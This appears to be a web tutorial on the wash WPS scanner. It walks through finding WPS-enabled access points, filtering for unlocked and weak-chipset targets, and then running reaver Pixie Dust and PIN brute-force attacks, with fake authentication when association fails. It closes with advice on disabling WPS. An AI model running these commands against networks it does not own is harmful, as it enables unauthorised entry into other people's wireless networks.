Wash — WPS Network Scanner

3 min readArticle

Wash is the WPS scanning tool included with the reaver package. It passively listens for beacon frames and probe responses that contain WPS Information Elements, then lists every WPS-enabled AP with its lock status, WPS version, signal strength, and chipset vendor. Always run wash before reaver or bully — it identifies which targets are worth attacking and which currently have WPS locked.

Installation

bash

sudo apt install reaver    # wash is included with reaver
wash --help

Basic Usage

bash

# Put card in monitor mode first
sudo airmon-ng check kill
sudo airmon-ng start wlan0

# Scan all channels for WPS-enabled APs
sudo wash -i wlan0mon

# Scan a specific channel (faster, less channel-hop noise)
sudo wash -i wlan0mon -c 6

# 5 GHz band scan
sudo wash -i wlan0mon -5

# Ignore FCS errors (some adapters need this)
sudo wash -i wlan0mon --ignore-fcs

Output Columns

shell

BSSID              Ch  dBm  WPS  Lck  Vendor       ESSID
-------------------------------------------------------------------------
00:11:22:33:44:55   6  -65  1.0  No   RalinkTech   HomeNetwork
AA:BB:CC:DD:EE:FF  11  -72  2.0  Yes  Broadcom     OfficeWiFi

Column	Meaning
BSSID	AP MAC address
Ch	Channel
dBm	Signal strength (closer to 0 = stronger signal)
WPS	WPS protocol version (1.0 or 2.0)
Lck	WPS lock status — Yes = brute-force temporarily blocked
Vendor	Chipset vendor from WPS Information Element
ESSID	Network name

Key Field: Lck (Lock Status)

Lck: No — WPS is accepting PIN attempts. Attack now.
Lck: Yes — AP locked WPS after too many failed attempts. Lock usually clears in 60 seconds to 5 minutes depending on firmware. Keep watch running; when it changes to No, start the attack.

bash

# Watch a specific AP for lock status change
sudo wash -i wlan0mon | grep "AA:BB:CC:DD:EE:FF"

Filter for Unlocked Targets

bash

sudo wash -i wlan0mon | grep " No "      # show only unlocked APs
sudo wash -i wlan0mon | grep -iE "ralink|realtek"   # most vulnerable chipsets (Pixie Dust)
sudo wash -i wlan0mon | grep " 1.0 "    # WPS 1.0 — older, often more vulnerable firmware

WPS Version — Why It Matters

WPS 1.0: older standard, no mandatory lockout — more likely to have weak RNG (Pixie Dust vulnerable)
WPS 2.0: added some anti-brute-force mitigations, but still Pixie Dust vulnerable on weak-RNG chipsets

Workflow: wash → reaver

bash

# Step 1: find targets
sudo wash -i wlan0mon

# Step 2: pick an unlocked target with good signal, note BSSID + channel

# Step 3a: Pixie Dust attack (instant if AP vulnerable)
sudo reaver -i wlan0mon -b <BSSID> -c <channel> --pixie-dust -vv

# Step 3b: Standard PIN brute-force (slow but broader coverage)
sudo reaver -i wlan0mon -b <BSSID> -c <channel> -vv

# If reaver fails to associate, handle association manually:
sudo aireplay-ng --fakeauth 30 -a <BSSID> -h <YOUR_MAC> wlan0mon
sudo reaver -i wlan0mon -b <BSSID> -c <channel> --no-associate -vv

Automate Target Selection

bash

# Save wash output, then extract unlocked targets sorted by signal strength
sudo wash -i wlan0mon 2>/dev/null | tee /tmp/wps_targets.txt &
# Wait a few minutes, then:
grep " No " /tmp/wps_targets.txt | sort -k4 -n | head -10
# Strongest-signal unlocked targets at the top

Troubleshooting

bash

# No APs appear in wash output
iwconfig wlan0mon | grep Mode   # confirm monitor mode is active

# APs visible in airodump but not wash
# Those APs have WPS disabled — wash only shows WPS-enabled APs
# Confirm: filter beacon frames in Wireshark for tag 221 (vendor-specific WPS IE)

# wash crashes or hangs
sudo wash -i wlan0mon --ignore-fcs   # common fix for FCS errors with some adapters

Defense: Disabling WPS

After seeing your own AP appear in wash:

Router admin panel → Wireless → WPS → Disable
Verify: re-run wash -i wlan0mon — your AP should disappear from results
If no disable option exists in firmware, update firmware or replace the router

techzonesite.comUnlock Your IT Potential